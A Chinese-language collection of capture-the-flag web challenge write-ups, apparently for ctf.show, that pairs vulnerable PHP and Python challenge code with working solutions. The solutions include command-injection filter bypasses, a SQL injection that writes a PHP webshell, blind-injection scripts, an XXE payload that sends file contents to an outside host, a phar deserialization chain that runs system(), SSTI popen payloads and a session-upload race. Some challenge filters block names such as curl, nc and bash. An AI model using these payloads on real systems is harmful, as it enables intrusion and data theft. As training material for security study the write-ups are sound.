$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.]/', $num)) {
die("非洲欢迎你1");
} else {
if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
die("没有这样的数");
}
}
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
只允许0-9.
还加了$num != $numPositve
就是要传入的num
和intval处理后的num
相等,
利用php浮点精度
浮点数的字长和平台相关,尽管通常最大值是 1.8e308 并具有 14 位十进制数字的精度(64 位 IEEE 格式)。
警告
浮点数的精度
浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。
此外,以十进制能够精确表示的有理数如
0.1
或0.7
,无论有多少尾数都不能被内部所使用的二进制精确表示,因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果:例如,floor((0.1+0.7)*10)
通常会返回7
而不是预期中的8
,因为该结果内部的表示其实是类似7.9999999999999991118...
。所以永远不要相信浮点数结果精确到了最后一位,也永远不要比较两个浮点数是否相等。如果确实需要更高的精度,应该使用任意精度数学函数或者 gmp 函数。
参见» 浮点数指南网页的简单解释。
var_dump(1.000000000000001 == 1); # bool(false)
var_dump(1.0000000000000001 == 1); # bool(true)
var_dump(1.0000000000000001 === 1); # bool(false)
为了绕过回文,后边再加一个0
?num=1000000000000000.00000000000000010
getflag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
把nl给ban了,继续抄🐶爹的
空格用<
或者%09
,读取用base64
或者ca\t
,php
换成ph\p
?get_flag=base64<flag.ph\p
你没见过的注入
这题也真够抽象的,确实是没见过😅
先说不用扫,结果还是要访问robots.txt,拿到重置密码的网址/pwdreset.php
直接重置密码,进去是个文件上传,无过滤
文件上传后,在后端会被重命名+压缩处理,无利用空间,只有个filetype
进行提示
传个php->filetype:PHP script, ASCII text, with CRLF line terminators
看了源码才知道限制了10k
这里考的是
EXIF
信息中comment
字段注入,这个字段会存入数据库,finfo->file()
再在后面输出这个信息,造成了sql注入漏洞,先去网上下载一个exiftool
工具 ——> https://exiftool.org/可以编辑图片的的
EXIF
信息payload:
./exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';#" 1.jpg
hex(<?=$_POST[0];)=0x3C3F3D60245F504F53545B305D603B
不知道哪试出来的从exif信息里注
upload源码
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}
mysqli_close($con);
}
?>
本地复现一下
签到_观己
日志包含
web1_观字
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
限制死了http协议,不给用各种特殊字符
本来想着自己的域名转发到192.168.7.68,但是还是会有.
,ip转10进制或者16进制都会出现0
curl可以用。
代替.
?url=http://192。168。7。68/flag
web2_观星
fuzz一下
['!', '"', "'", '+', ',', '=', '`', '|', '~', ' ', 'union', 'rand', 'ascii', 'and', '||', 'sleep', 'benchmark', 'rlike', 'like']
才看出来是int类型盲注,单双引号被ban了,表名可以用16进制代替
逗号被ban用from+for
,但是if
就彻底没法用了,所以用case when [express] then [x] else [y] end
代替
ascii
直接换用ord
直接脚本跑,估计sqlmap只会更快
import requests
url = "http://c11b6d04-1817-4495-a58d-96b02ab819f5.challenge.ctf.show/index.php?id="
alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""
def get_database_name():
database = ""
for i in range(1, 5):
min = 48
max = 122
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr(database()/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
database = database + chr(mid)
def get_table_name():
table = ""
for i in range(1, 20):
min = 48
max = 122
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database()))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
table = table + chr(mid)
print(table)
def get_column_name():
column = ""
for i in range(1, 20):
min = 48
max = 122
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
column = column + chr(mid)
print(column)
def get_data():
flag = ""
for i in range(1, 50):
min = 33
max = 127
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
flag = flag + chr(mid)
print(flag)
# get_database_name()
# get_table_name()
# get_column_name()
get_data()
web3_观图
跳转showImage.php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
使用随机生成的key
解密image
,一段能被正确解析的密文为Z6Ilu83MIDw=
,只要猜出原文是什么,就可以通过碰撞出key
,然后使用encrypt
进行读取了
<?php
highlight_file(__FILE__);
set_time_limit(0);
$r = 0;
while (True){
while (ob_get_level()) {
ob_end_flush();
}
$t = rand();
if ($r<$t){
$r = $t;
echo $t."<br>";
}
}
//经过碰撞大概可以知道rand的范围为0-2147483647(梅森素数)
写个加密碰撞脚本
<?php
highlight_file(__FILE__);
set_time_limit(0);
$pass = "Z6Ilu83MIDw=";
for ($i=0;$i<=2147483647;$i++){
while (ob_get_level()) {
ob_end_flush();
}
$key = substr(md5('ctfshow'.$i),3,8);
if (preg_match('/jpg|gif|png/',(openssl_decrypt($pass, 'bf-ecb', $key)))){
echo $i.$key."<br>";
}
}
//碰出来27347
<?php
highlight_file(__FILE__);
set_time_limit(0);
$file = "config.php";
$key = substr(md5('ctfshow'."27347"),3,8);
echo openssl_encrypt($file, 'bf-ecb', $key);
web4_观心
点击占卜
访问api.php
,看一眼负载一眼xxe
test.dtd
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe "<!ENTITY % xxe SYSTEM 'http://ip/%file;'>">
%xxe;
evil.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ip/test.dtd">
<test></test>
直接调用xml就行
这题不知道什么原因,在远程调用<!ENTITY % xxe SYSTEM 'http://ip/%file;'>
没有实际访问出来,导致在远程没法读出来,但是可以利用file:///flag.txt
读到的换行符造成loadXML()
报错回显
如果使用base64后的结果,不会报错,但同时并没有请求出来
web1_此夜圆
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
一眼丁真,变长度反序列化绕过
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
hint
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
要求$a
是数字,长度小于7,非零且平方运算等于零
可以猜测大概是使用科学计数法来打
Minimum evaluatable scientific value?
由于php中双精度存储的限制,1E-323
会以float(9.8813129168249E-323)
的形式存储,当下探一位到1E-324
时,精度不满足就到了float(0)
所以只要令$a=1E-162
即可
md2注意到hint内容,联想到md5的弱类型比较,肯定是要0exxxxx == 0exxxx
的类型
这个hint给的也💩,实际上应该是这样
$b = xxxxx024452 hash("md2",$b)
$c = xxxxxx48399 hash("md2",hash("md2",$c))
from Crypto.Hash import MD2
b = "024452"
c = "48399"
num = "0123456789"
for i in num:
for j in num:
for k in num:
for q in num:
payload2 = "0e" + i + j + k + q + c
md2_hash_2 = MD2.new(payload2.encode()).hexdigest()
md2_hash_3 = MD2.new(md2_hash_2.encode()).hexdigest()
if md2_hash_3[:2] == '0e' and md2_hash_3[2:].isdigit():
print("2:" + payload2)
payload1 = "0e" + i + j + k + b
md2_hash_1 = MD2.new(payload1.encode()).hexdigest()
if md2_hash_1[:2] == '0e' and md2_hash_1[2:].isdigit():
print("1:" + payload1)
->
2:0e603448399
1:0e652024452
第三步提示flag in /fl0g.txt
,要求传入能过URL筛选器的字符
file_get_contents
有个点就是,当传入的伪协议头未知时,当做文件夹操作
url=httpt://ctfshow.com/../../../../../../../../fl0g.txt
http变为httpt这个未知协议
web3_莫负婵娟
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
fuzz一下
['"', '#', '%', "'", '(', ',', '-', '\\', '^', 'select', 'union', 'sleep']
单双引号和反斜杠都被过滤了,肯定绕不过了
由于这里用的特殊匹配方法like
like有两个模式:_和%
_:表示单个字符,用来查询定长的数据
%:表示0个或多个任意字符
(1)SELECT * FROM Persons WHERE City LIKE 'N%' "Persons" 表中选取居住在以 "N" 开始的城市里的人 (2)SELECT * FROM Persons WHERE City LIKE '%g' "Persons" 表中选取居住在以 "g" 结尾的城市里的人 (3)SELECT * FROM Persons WHERE City LIKE '%lon%' 从 "Persons" 表中选取居住在包含 "lon" 的城市里的人 (4)SELECT * FROM Persons WHERE City NOT LIKE '%lon%' 从 "Persons" 表中选取居住在不包含 "lon" 的城市里的人
往password
里塞32个_
,能模糊匹配,打出回显:I have filtered all the characters. Why can you come in? get out!
跑个脚本
import string
import requests
url = "http://10e8ff00-4077-42a3-9cbc-b9b6fe7ff911.challenge.ctf.show/login.php"
length = 32
tables = string.printable
password = ""
for i in range(length):
for table in tables:
payload = password + table + "_" * (length - i - 1)
r = requests.post(url, data={
"username": "yu22x",
"password": payload
})
if "wrong username or password" not in r.text:
password = password + table
print(password)
break
进去是个ip测试,自己起个发现是使用curl
fuzz一下过滤了全部小写字母
['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '"', '%', '&', "'", '(', ')', '*', '+', ',', '-', '/', '<', '=', '>', '[', '\\', ']', '^', '`', '|', '\t', '\n']
剩下可用的
['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '#', '$', '.', ':', ';', '?', '@', '_', '{', '}', '~', ' ', '\r', '\x0b', '\x0c']
hint
环境变量 +linux字符串截取 + 通配符
里面提到过空格/被过滤可以使用${PATH:0:1}
来代替,同理,我们要执行的也可以用这个来代替
ip=127.0.0.1;${PATH:5:1}${PATH:2:1}->ls
ip=127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???->nl ????.???
1024_WEB签到
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
可见是没有参数能传入的,也没法无参rce
直接去phpinfo找
调用就行
1024_fastapi
fastapi,dirsearch扫出手册/docs
由python写出来的后端,尝试有回显的函数str(123)
返回123
尝试ssti
q=str("".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /mnt/f1a9').read())
先读源码main.py
,提示flag位置,还ban了一些
'import','open','eval','exec'
1024_柏拉图
首页要求输入url,试了http
协议报错,试到file
协议不报错,后面是双写绕过
读一下源文件
index.php
<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-19 20:09:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>
upload.php
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>
readfile.php
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>
class.php
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>
unlink.php
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>
看到有个class.php
和readfile
函数,一眼phar反序列化
poc.php
<?php
class A {
public $a;
// public function __construct($a)
// {
// $this->a = $a;
// }
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
// public function __construct($b)
// {
// $this->b = $b;
// }
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
// public function __construct($c)
// {
// $this->c = $c;
// }
public function __invoke()
{
return eval($this->c);
}
}
$A = new A('');
$B = new B('');
$C = new C('');
$A->a = $B;
$B->b = $C;
$C->c = 'system("cat /ctfshow_1024_flag.txt");';
$phar = new Phar('cat.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($A);
$phar -> stopBuffering();
上传直接用compress.zlib://phar://
读
1024_图片代理
自动跳转
?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
base64解码是个图片地址,直接换用file
协议能读passwd
嗅探到nginx,读一下配置文件/etc/nginx/conf.d/default.conf
网站目录/var/www/bushihtml
,fastcgi开在9000端口
直接gopher打
python gopherus.py --exploit fastcgi
1024_hello_world
看起来像ssti,fuzz一下
["'", '.', '_', '\r', '\x0b', '\x0c', '\{\{']
被ban了就没法直接打回显了
但是可以用{%print(...)%}
代替
也有更麻烦的用{% if ... %}1{% endif %}
盲注
这里选用{%print(...)%}
以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用
key={%print(()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /c*")["read"]())%}
"_"hex编码->"\x5f",也可以换用unicode
主要就是用()["\x5f\x5fclass\x5f\x5f"]
来代替().__class__
原谅4
看起来很简单
<?php
isset($_GET["xbx"])?system($_GET["xbx"]):highlight_file(__FILE__)?
但是进去才知道命令基本不可用,bin
里面只有ls rm sh
这三条命令可用
但是还有一种利用报错读取来读到文件内容
如果有读取文件的权限
echo `. /f* 2>&1` -urlencode> echo `. /f* 2>%261`
如果有执行文件的权限
echo `/f* 2>&1` -urlencode> echo `/f* 2>%261`
无非就是一个用了sh
执行shell脚本的区别
原谅5_fastapi2
严格意义来说不是ssti,fuzz一下,过滤了
["import", "open", "eval", "exec", "class", "'", '"', "vars", "str", "chr"]
除了之前用的str
可以造成回显,list
同样也可以打出回显
可以直接用list(globals())
看到当前的全局变量
比较特殊的就是其中的youdontknow
,直接进去看就能知道这是banlist
而且属性应该是list
列表有一个函数操作是[].clear()
,可以清空该列表内元素
q=youdontknow.clear()
q=list(youdontknow)
可见banlist已经被清空了,接下来就是随便打
q=[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["popen"]("cat /f*").read()
q=open("/flag").read()
其他方法
由于规定了接收的q是string型,因此
"".__class__
这类返回的class类型就会引起错误,因此需要将其转为str型可以通过
bytes.fromhex()
绕过waf,同时也可以保证str型。
q=__import__(bytes.fromhex(hex(28531)[2:]).decode()).popen(bytes.fromhex(hex(6c73)[2:]).decode()).readlines()
其中的o是全角字符,可以绕过waf
28531和6c73分别是os,ls的hex
还有种比较抽象的办法
有一个内置函数没有被ban:dir()
,用来查看当前范围内变量
q=kiword
可见最后的kiword是chr
就可以利用getattr
拼凑出函数
getattr(__builtins__,kiword)->__builtins__.chr
getattr(__builtins__,kiword)(97)->__builtins__.chr(97)->a
可以拼出__builtins__.__import__("os").popen("ls").read()
getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)
->
__import__
getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)
->
os
getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110)
->
popen
getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)
->
ls
payload:
getattr(getattr(__builtins__,getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95))(getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)),getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110))(getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)).read()
-urlencode>
getattr(getattr(__builtins__%2Cgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(109)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(114)%2Bgetattr(__builtins__%2Ckiword)(116)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95))(getattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(115))%2Cgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(101)%2Bgetattr(__builtins__%2Ckiword)(110))(getattr(__builtins__%2Ckiword)(100)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(114)).read()
原谅6_web3
<?php
error_reporting(0);
highlight_file(__FILE__);
include("waf.php");
$file = $_GET["file"] ?? NULL;
$content = $_POST["content"] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;
做法和easyshell的法二一样,包含一个session_upload_progress文件
先创建一个.user.ini
文件,内容写上auto_prepend_file=/tmp/sess_whoami
,目的是包含后面session_upload创建的临时文件
sess_whoami的大概内容如下
upload_progress_payload|a:5:{s:10:"start_time";i:1709120605;s:14:"content_length";i:51482;s:15:"bytes_processed";i:5259;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"q.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1709120605;s:15:"bytes_processed";i:5259;}}}
然后post传文件。在PHP_SESSION_UPLOAD_PROGRESS
字段上打payload<?php system("ls");?>
在访问文件的时候,由于.user.ini
的存在,每个php前面会自动"include" sess_whoami
,从而导致payload被解析
import io
import requests
import threading
sessid = "whoami"
def POST(session):
while True:
f = io.BytesIO(b"a" * 1024 * 50)
session.post(
"http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/",
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system(\"base64 waf.php\");?>"},
files={"file": ("q.txt", f)},
cookies={"PHPSESSID": sessid}
)
def READ(session):
while True:
resp = session.get("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/")
if "q.txt" in resp.text:
print(resp.text)
event = threading.Event()
with requests.session() as session:
payload = {
"content": "auto_prepend_file=/tmp/sess_" + sessid
}
session.post("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/?file=.user.ini", data=payload)
for i in range(1, 30):
threading.Thread(target=POST, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=READ, args=(session,)).start()
event.set()
fastapi2 for 阿狸
banlist
['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']
这次最后的kiword
是]
,没法像前面一样利用chr
来拼了,只能用clear方法
veryphp
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
让我真正认识到bp好用的题,hb各种打不通
[
替换为_
,正则直接丢101里构造就完事了,最后加个五位数爆破
通过class::func
直接调用类函数
shaw[root=-a9<b>000000000>>>>abcphp@Rsa&ans=21475&my[ans=qwq::oao
虎山行
代码审计MiniCMS不难发现这个位置0过滤(题目给出的版本没有拼接.dat
)
由于由于拼接了前面的路径,也没法直接include2shell直接梭
读根目录下flag有提示
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
waf:
<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}
对于readgzfile
函数,可以利用phar+zlib:phar://
反序列化直接打
上传点
<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000) // 小于 2000kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
echo "上传成功,文件存在upload/";
}
}
}
else
{
echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>
time()
可以从bp响应的时间包直接算,免去了爆破
?file=zlib:phar:///var/www/html/upload/ea9bf085.gif
